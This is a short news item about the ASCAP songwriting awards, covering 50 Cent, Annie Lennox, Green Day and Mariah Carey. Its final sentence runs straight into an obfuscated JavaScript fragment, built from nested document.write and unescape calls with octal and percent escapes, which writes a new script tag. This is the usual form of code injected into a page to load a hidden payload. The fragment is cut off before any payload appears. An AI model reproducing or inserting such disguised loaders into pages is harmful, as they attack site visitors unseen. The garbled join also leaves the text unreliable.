50 Cent has been named songwriter of the year.
The rapper won the award by the American Society of Composers, Authors and Publishers (ASCAP).
Annie Lennox collected the Founders Award for her "inspirational" work as a solo artist and with The Eurythmics reports BBC online.
Green Day picked up two awards at the ceremony. They won the creative voice award and they won song of the year for their hit Boulevard of Broken Dreams.
The group shared the honour with Mariah Carey's We Belong Together, written by Johnta Austin, Jermaine Dupri and Manuel Seal.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22